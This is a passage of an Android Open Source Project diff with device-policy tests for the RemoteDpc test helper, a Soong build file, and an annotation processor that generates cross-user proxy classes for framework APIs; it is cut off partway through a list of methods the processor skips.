+    @EnsureHasNoSecondaryUser // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    @EnsureHasNoWorkProfile // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    public void setAsDeviceOwner_alreadyHasDeviceOwner_replacesDeviceOwner() {
+        TestApis.devicePolicy().setDeviceOwner(NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner();
+
+            DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
+            assertThat(deviceOwner).isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            TestApis.devicePolicy().getDeviceOwner().remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    public void setAsDeviceOwner_doesNotHaveDeviceOwner_setsDeviceOwner() {
+        RemoteDpc.setAsDeviceOwner();
+
+        DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
+        try {
+            assertThat(deviceOwner).isNotNull();
+        } finally {
+            if (deviceOwner != null) {
+                deviceOwner.remove();
+            }
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.setAsProfileOwner((UserHandle) null));
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_nonExistingUser_throwsException() {
+        assertThrows(NeneException.class,
+                () -> RemoteDpc.setAsProfileOwner(NON_EXISTING_USER_HANDLE));
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_userHandle_alreadySet_doesNothing() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_userHandle_alreadyHasProfileOwner_replacesProfileOwner() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            TestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile))
+                    .isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_userHandle_doesNotHaveProfileOwner_setsProfileOwner() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_disallowInstallUnknownSourcesIsDisabled() {
+        // This is a temp fix for an issue where DISALLOW_INSTALL_UNKNOWN_SOURCES causes
+        // verification failures
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(profileOwner.userManager()
+                    .hasUserRestriction(DISALLOW_INSTALL_UNKNOWN_SOURCES))
+                    .isFalse();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.setAsProfileOwner((UserReference) null));
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_nonExistingUser_throwsException() {
+        assertThrows(NeneException.class,
+                () -> RemoteDpc.setAsProfileOwner(NON_EXISTING_USER_REFERENCE));
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_userReference_alreadySet_doesNothing() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile);
+
+            RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_userReference_alreadyHasProfileOwner_replacesProfileOwner() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            TestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile))
+                    .isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void setAsProfileOwner_userReference_doesNotHaveProfileOwner_setsProfileOwner() {
+        UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void devicePolicyController_returnsDevicePolicyController() {
+        RemoteDpc remoteDPC = RemoteDpc.deviceOwner();
+
+        try {
+            assertThat(remoteDPC.devicePolicyController())
+                    .isEqualTo(TestApis.devicePolicy().getDeviceOwner());
+        } finally {
+            remoteDPC.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void remove_deviceOwner_removes() {
+        RemoteDpc remoteDPC = RemoteDpc.deviceOwner();
+
+        remoteDPC.remove();
+
+        assertThat(TestApis.devicePolicy().getDeviceOwner()).isNull();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void remove_profileOwner_removes() {
+        try (UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart()) {
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
+
+            remoteDPC.remove();
+
+            assertThat(TestApis.devicePolicy().getProfileOwner(profile)).isNull();
+        }
+    }
+
+    // TODO(scottjonathan): Do we need to support the case where there is both a DO and a PO on
+    //  older versions of Android?
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void frameworkCall_makesCall() {
+        sDeviceState.dpc().devicePolicyManager().getCurrentFailedPasswordAttempts();
+    }
+
+    @Test
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoWorkProfile
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void frameworkCall_onProfile_makesCall() {
+        try (UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart()) {
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
+
+            // Checking that the call succeeds
+            remoteDPC.devicePolicyManager().isUsingUnifiedPassword(remoteDPC.componentName());
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void frameworkCallRequiresProfileOwner_notProfileOwner_throwsSecurityException() {
+        RemoteDpc remoteDPC = RemoteDpc.deviceOwner();
+
+        assertThrows(SecurityException.class, () ->
+                remoteDPC.devicePolicyManager().isUsingUnifiedPassword(remoteDPC.componentName()));
+    }
+
+    @Test
+    public void forDevicePolicyController_nullDevicePolicyController_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.forDevicePolicyController(null));
+    }
+
+    @Test
+    @RequireRunOnSystemUser
+    @EnsureHasNoDeviceOwner
+    @EnsureHasNoProfileOwner
+    @EnsureHasNoSecondaryUser // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    @EnsureHasNoWorkProfile // TODO(b/202832720): Replace with @EnsureHasOnlyInstrumentedUser
+    public void forDevicePolicyController_nonRemoteDpcDevicePolicyController_throwsException() {
+        DeviceOwner deviceOwner = TestApis.devicePolicy().setDeviceOwner(NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThrows(IllegalStateException.class,
+                    () -> RemoteDpc.forDevicePolicyController(deviceOwner));
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    @EnsureHasDeviceOwner
+    public void forDevicePolicyController_remoteDpcDevicePolicyController_returnsRemoteDpc() {
+        RemoteDpc remoteDPC = RemoteDpc.deviceOwner();
+
+        assertThat(RemoteDpc.forDevicePolicyController(remoteDPC.devicePolicyController()))
+                .isNotNull();
+    }
+
+    @Test
+    @EnsureHasNoWorkProfile
+    @EnsureHasNoDeviceOwner
+    @RequireRunOnSystemUser
+    @RequireSdkVersion(min = Q, reason = "Cannot use RemoteDPC cross-user prior to Q")
+    public void getParentProfileInstance_returnsUsableInstance() {
+        try (UserReference profile = TestApis.users().createUser()
+                .parent(sUser)
+                .type(TestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart()) {
+            RemoteDpc remoteDpc = RemoteDpc.setAsProfileOwner(profile);
+
+            // Confirm that we can call methods on the RemoteDevicePolicyManager which comes from
+            // getParentProfileInstance
+            remoteDpc.devicePolicyManager()
+                    .getParentProfileInstance(remoteDpc.componentName())
+                    .getPasswordQuality(remoteDpc.componentName());
+
+            // APIs which are not supported on parent instances should throw SecurityException
+            assertThrows(SecurityException.class, () ->
+                    remoteDpc.devicePolicyManager()
+                            .getParentProfileInstance(remoteDpc.componentName())
+                            .getParentProfileInstance(remoteDpc.componentName()));
+        }
+    }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/Android.bp b/common/device-side/bedstead/remoteframeworkclasses/Android.bp
new file mode 100644
index 0000000..c10abfd
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/Android.bp
@@ -0,0 +1,47 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "RemoteFrameworkClasses",
+    sdk_version: "test_current",
+    srcs: [
+        "src/types/main/java/**/*.java"
+    ],
+    static_libs: [
+        "RemoteFrameworkClasses_Annotations",
+        "ConnectedAppsSDK_Annotations",
+        "ConnectedAppsSDK"
+    ],
+    manifest: "src/types/main/AndroidManifest.xml",
+    min_sdk_version: "27",
+    plugins: ["ConnectedAppsSDK_Processor", "RemoteFrameworkClasses_Processor"],
+}
+
+java_library {
+    name: "RemoteFrameworkClasses_Annotations",
+    srcs: [
+        "src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/annotations/*.java"
+    ],
+    host_supported: true
+}
+
+java_plugin {
+    name: "RemoteFrameworkClasses_Processor",
+    processor_class: "com.android.bedstead.remoteframeworkclasses.processor.Processor",
+    static_libs: [
+        "guava",
+        "javapoet",
+        "auto_service_annotations",
+        "RemoteFrameworkClasses_Annotations",
+        "ConnectedAppsSDK_Annotations"
+    ],
+    srcs: [
+        "src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/*.java"
+    ],
+    plugins: ["auto_service_plugin"],
+    generates_api: true,
+    java_resource_dirs: [
+        "src/processor/res"
+    ],
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
new file mode 100644
index 0000000..0a6bafb
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Apis.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses.processor;
+
+import com.google.common.collect.ImmutableSet;
+import com.google.common.io.Resources;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.Elements;
+import javax.lang.model.util.Types;
+
+/**
+ * A collection of {@link MethodSignature} for accessible methods.
+ */
+public final class Apis {
+
+    private static final String[] API_FILES =
+            {"current.txt", "test-current.txt", "wifi-current.txt"};
+
+    private static final Map<String, String> API_TXTS = initialiseApiTxts();
+    private static final Map<String, Apis> sPackageToApi = new HashMap<>();
+
+    private static Map<String, String> initialiseApiTxts() {
+        return Arrays.stream(API_FILES)
+                .collect(Collectors.toMap(f -> f, f -> {
+                    try {
+                        return Resources.toString(Processor.class.getResource("/apis/" + f),
+                                StandardCharsets.UTF_8);
+                    } catch (IOException e) {
+                        throw new IllegalStateException("Could not read file " + f);
+                    }
+                }));
+    }
+
+    /**
+     * Get public and test APIs for a given class name.
+     */
+    public static Apis forClass(String className, Types types, Elements elements) {
+        if (sPackageToApi.containsKey(className)) {
+            return sPackageToApi.get(className);
+        }
+        ImmutableSet.Builder<MethodSignature> methods = ImmutableSet.builder();
+        Set<String> parents = new HashSet<>();
+        findParents(parents, className, elements);
+        for (String c : parents) {
+            for (Map.Entry<String, String> apiTxt : API_TXTS.entrySet()) {
+                methods.addAll(
+                        parseApiTxt(apiTxt.getKey(), apiTxt.getValue(), c, types, elements));
+            }
+        }
+
+        return new Apis(methods.build());
+    }
+
+    private static void findParents(Set<String> parents, String className, Elements elements) {
+        parents.add(className);
+
+        if (className.equals("java.lang.Object")) {
+            return;
+        }
+
+        TypeElement element = elements.getTypeElement(className);
+        System.out.println("Checking " + className + " got " + element);
+
+        TypeMirror superClass = element.getSuperclass();
+        if (!superClass.getKind().equals(TypeKind.NONE)) {
+            findParents(parents, superClass.toString(), elements);
+        }
+
+        element.getInterfaces().stream().map(TypeMirror::toString)
+                .forEach(c -> findParents(parents, c, elements));
+    }
+
+    private static Set<MethodSignature> parseApiTxt(
+            String filename, String apiTxt, String className, Types types, Elements elements) {
+        System.out.println("Parsing for " + className);
+
+        int separatorPosition = className.lastIndexOf(".");
+        String packageName = className.substring(0, separatorPosition);
+        String simpleClassName = className.substring(separatorPosition + 1);
+
+        String[] packageSplit = apiTxt.split("package " + packageName + " \\{", 2);
+        if (packageSplit.length < 2) {
+            System.out.println("Package " + packageName + " not in file " + filename);
+            // Package not in this file
+            return new HashSet<>();
+        }
+        String[] classSplit = packageSplit[1].split("class " + simpleClassName + " .*?\n", 2);
+        if (classSplit.length < 2) {
+            System.out.println("Class " + simpleClassName + " not in file " + filename);
+            // Class not in this file
+            return new HashSet<>();
+        }
+        String[] lines = classSplit[1].split("\n");
+        Set<MethodSignature> methodSignatures = new HashSet<>();
+
+        for (String line : lines) {
+            String methodLine = line.trim();
+            if (methodLine.isEmpty()) {
+                continue;
+            }
+
+            if (methodLine.startsWith("ctor")) {
+                // Skip constructors
+                continue;
+            }
+
+            if (!methodLine.startsWith("method")) {
+                return methodSignatures;
+            }
+
+            try {
+                // Strip "method" and semicolon
+                methodLine = methodLine.substring(7, methodLine.length() - 1);
+                methodSignatures.add(MethodSignature.forApiString(methodLine, types, elements));
+            } catch (RuntimeException e) {
+                throw new IllegalStateException("Error parsing method " + line, e);
+            }
+        }
+
+        return methodSignatures;
+    }
+
+    private final ImmutableSet<MethodSignature> mMethods;
+
+    private Apis(ImmutableSet<MethodSignature> methods) {
+        mMethods = methods;
+    }
+
+    /**
+     * Get methods in the API set.
+     */
+    public ImmutableSet<MethodSignature> methods() {
+        return mMethods;
+    }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
new file mode 100644
index 0000000..aa10a8c
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/MethodSignature.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses.processor;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.ImmutableSet;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.lang.model.element.Element;
+import javax.lang.model.element.ExecutableElement;
+import javax.lang.model.element.Modifier;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.type.DeclaredType;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.Elements;
+import javax.lang.model.util.Types;
+
+/**
+ * Represents a minimal representation of a method for comparison purposes
+ */
+public final class MethodSignature {
+
+    /** Create a {@link MethodSignature} for the given {@link ExecutableElement}. */
+    public static MethodSignature forMethod(ExecutableElement method, Elements elements) {
+        List<TypeMirror> parameters = method.getParameters().stream()
+                .map(Element::asType)
+                .map(m -> rawType(m, elements))
+                .collect(Collectors.toList());
+
+        Set<TypeMirror> exceptions = method.getThrownTypes()
+                .stream().map(m -> rawType(m, elements))
+                .collect(Collectors.toSet());
+
+        return new MethodSignature(Visibility.ofMethod(method),
+                rawType(method.getReturnType(), elements),
+                method.getSimpleName().toString(), parameters, exceptions);
+    }
+
+    private static TypeMirror rawType(TypeMirror type, Elements elements) {
+        if (type instanceof DeclaredType) {
+            DeclaredType t = (DeclaredType) type;
+            if (!t.getTypeArguments().isEmpty()) {
+                type = elements.getTypeElement(t.toString().split("<", 2)[0]).asType();
+            }
+        }
+        return type;
+    }
+
+    /**
+     * Create a {@link MethodSignature} for the given string from an API file.
+     */
+    public static MethodSignature forApiString(String string, Types types, Elements elements) {
+        // Strip annotations
+        string = string.replaceAll("@\\w+?\\(.+?\\) ", "");
+        string = string.replaceAll("@.+? ", "");
+
+        String[] parts = string.split(" ", 2);
+        Visibility visibility;
+        try {
+            visibility = Visibility.valueOf(parts[0].toUpperCase());
+        } catch (IllegalArgumentException e) {
+            throw new IllegalStateException("Error finding visibility in string " + string);
+        }
+        string = parts[1];
+        parts = string.split(" ", 2);
+
+        TypeMirror returnType;
+        while (parts[0].equals("abstract") || parts[0].equals("final")
+                || parts[0].equals("static")) {
+            // These don't affect the signature in ways we care about
+            string = parts[1];
+            parts = string.split(" ", 2);
+        }
+
+        returnType = typeForString(parts[0], types, elements);
+
+        string = parts[1];
+        parts = string.split("\\(", 2);
+        String methodName = parts[0];
+        string = parts[1];
+        parts = string.split("\\)", 2);
+        // Remove generic types as we don't need to care about them at this point
+        String parametersString = parts[0].replaceAll("<.*>", "");
+        // Remove varargs
+        parametersString = parametersString.replaceAll("\\.\\.\\.", "");
+        List<TypeMirror> parameters;
+        try {
+            parameters = Arrays.stream(parametersString.split(","))
+                    .map(String::trim)
+                    .filter(t -> !t.isEmpty())
+                    .map(t -> typeForString(t, types, elements))
+                    .collect(Collectors.toList());
+        } catch (IllegalStateException e) {
+            throw new IllegalStateException("Error parsing types from string " + parametersString);
+        }
+        string = parts[1];
+        Set<TypeMirror> exceptions = new HashSet<>();
+        if (string.contains("throws")) {
+            exceptions = Arrays.stream(string.split("throws ", 2)[1].split(","))
+                    .map(t -> t.trim())
+                    .filter(t -> !t.isEmpty())
+                    .map(t -> typeForString(t, types, elements))
+                    .collect(Collectors.toSet());
+        }
+
+        return new MethodSignature(visibility, returnType, methodName, parameters, exceptions);
+    }
+
+    private static TypeMirror typeForString(String typeName, Types types, Elements elements) {
+        if (typeName.equals("void")) {
+            return types.getNoType(TypeKind.VOID);
+        }
+
+        if (typeName.contains("<")) {
+            // Because of type erasure we can just drop the type argument
+            return typeForString(typeName.split("<", 2)[0], types, elements);
+        }
+
+        if (typeName.endsWith("[]")) {
+            return types.getArrayType(
+                    typeForString(typeName.substring(0, typeName.length() - 2), types, elements));
+        }
+
+        try {
+            return types.getPrimitiveType(TypeKind.valueOf(typeName.toUpperCase()));
+        } catch (IllegalArgumentException e) {
+            // Not a primitive
+        }
+
+        TypeElement element = elements.getTypeElement(typeName);
+        if (element == null) {
+            // It could be java.lang
+            element = elements.getTypeElement("java.lang." + typeName);
+        }
+
+        if (element == null) {
+            throw new IllegalStateException("Unknown type: " + typeName);
+        }
+
+        return element.asType();
+    }
+
+    enum Visibility {
+        PUBLIC,
+        PROTECTED;
+
+        static Visibility ofMethod(ExecutableElement method) {
+            if (method.getModifiers().contains(Modifier.PUBLIC)) {
+                return PUBLIC;
+            } else if (method.getModifiers().contains(Modifier.PROTECTED)) {
+                return PROTECTED;
+            }
+
+            throw new IllegalArgumentException("Only public and protected are visible in APIs");
+        }
+    }
+
+    private final Visibility mVisibility;
+    private final String mReturnType;
+    private final String mName;
+    private final ImmutableList<String> mParameterTypes;
+    private final ImmutableSet<String> mExceptions;
+    public MethodSignature(
+            Visibility visibility, TypeMirror returnType, String name,
+            List<TypeMirror> parameterTypes, Set<TypeMirror> exceptions) {
+        mVisibility = visibility;
+        mReturnType = returnType.toString();
+        mName = name;
+        mParameterTypes = ImmutableList.copyOf(parameterTypes.stream()
+                .map(TypeMirror::toString)
+                .collect(Collectors.toList()));
+        mExceptions = ImmutableSet.copyOf(exceptions.stream().map(TypeMirror::toString).collect(
+                Collectors.toSet()));
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (!(o instanceof MethodSignature)) return false;
+        MethodSignature that = (MethodSignature) o;
+        return mVisibility == that.mVisibility && mReturnType.equals(that.mReturnType)
+                && mName.equals(
+                that.mName) && mParameterTypes.equals(that.mParameterTypes) && mExceptions.equals(
+                that.mExceptions);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(mVisibility, mReturnType, mName, mParameterTypes, mExceptions);
+    }
+
+    @Override
+    public String toString() {
+        return "MethodSignature{"
+                + "mVisibility="
+                + mVisibility
+                + ", mReturnType='" + mReturnType + '\''
+                + ", mName='" + mName + '\''
+                + ", mParameterTypes=" + mParameterTypes
+                + ", mExceptions=" + mExceptions
+                + '}';
+    }
+}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
new file mode 100644
index 0000000..465ceb6
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -0,0 +1,1054 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses.processor;
+
+import com.android.bedstead.remoteframeworkclasses.processor.annotations.RemoteFrameworkClasses;
+
+import com.google.android.enterprise.connectedapps.annotations.CrossUser;
+import com.google.auto.service.AutoService;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.io.Resources;
+import com.squareup.javapoet.AnnotationSpec;
+import com.squareup.javapoet.ClassName;
+import com.squareup.javapoet.JavaFile;
+import com.squareup.javapoet.MethodSpec;
+import com.squareup.javapoet.ParameterSpec;
+import com.squareup.javapoet.TypeSpec;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.net.URL;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import javax.annotation.processing.AbstractProcessor;
+import javax.annotation.processing.RoundEnvironment;
+import javax.annotation.processing.SupportedAnnotationTypes;
+import javax.lang.model.SourceVersion;
+import javax.lang.model.element.ExecutableElement;
+import javax.lang.model.element.Modifier;
+import javax.lang.model.element.TypeElement;
+import javax.lang.model.element.VariableElement;
+import javax.lang.model.type.TypeKind;
+import javax.lang.model.type.TypeMirror;
+import javax.lang.model.util.Elements;
+import javax.tools.JavaFileObject;
+
+/**
+ * Processor for generating {@code RemoteSystemService} classes.
+ *
+ * <p>This is started by including the {@link RemoteFrameworkClasses} annotation.
+ *
+ * <p>For each entry in {@code FRAMEWORK_CLASSES} this will generate an interface including all public
+ * and test APIs with the {@code CrossUser} annotation. This interface will be named the same as the
+ * framework class except with a prefix of "Remote", and will be in the same package.
+ *
+ * <p>This will also generate an implementation of the interface which takes an instance of the
+ * framework class in the constructor, and each method proxying calls to the framework class.
+ */
+@SupportedAnnotationTypes({
+        "com.android.bedstead.remoteframeworkclasses.processor.annotations.RemoteFrameworkClasses",
+})
+@AutoService(javax.annotation.processing.Processor.class)
+public final class Processor extends AbstractProcessor {
+
+    private static final String[] FRAMEWORK_CLASSES = {
+            "android.app.admin.DevicePolicyManager",
+            "android.net.wifi.WifiManager",
+            "android.os.HardwarePropertiesManager",
+            "android.os.UserManager",
+            "android.content.pm.PackageManager",
+            "android.content.pm.CrossProfileApps",
+            "android.content.pm.LauncherApps",
+            "android.accounts.AccountManager",
+            "android.app.Activity",
+            "android.content.Context",
+            "android.content.ContentResolver",
+            "android.security.KeyChain"
+    };
+
+    private static final String PARENT_PROFILE_INSTANCE =
+            "public android.app.admin.DevicePolicyManager getParentProfileInstance(android"
+                    + ".content.ComponentName)";
+    private static final String GET_CONTENT_RESOLVER =
+            "public android.content.ContentResolver getContentResolver()";
+
+    private static final Set<String> BLOCKLISTED_METHODS = ImmutableSet.of(
+            // DevicePolicyManager
+
+            // Uses ServiceConnection
+            "public boolean bindDeviceAdminServiceAsUser(android.content.ComponentName, android"
+                    + ".content.Intent, android.content.ServiceConnection, int, android.os"
+                    + ".UserHandle)",
+            // Uses AttestedKeyPair
+            "public android.security.AttestedKeyPair generateKeyPair(android.content"
+                    + ".ComponentName, String, android.security.keystore.KeyGenParameterSpec, int)",
+            // Uses Executor
+            "public void installSystemUpdate(@NonNull android.content.ComponentName, android.net"
+                    + ".Uri, java.util.concurrent.Executor, android.app.admin.DevicePolicyManager"
+                    + ".InstallSystemUpdateCallback)",
+
+            // WifiManager
+
+            // Uses Executor
+            "public void addSuggestionConnectionStatusListener(java.util.concurrent.Executor, "
+                    + "android.net.wifi.WifiManager.SuggestionConnectionStatusListener)",
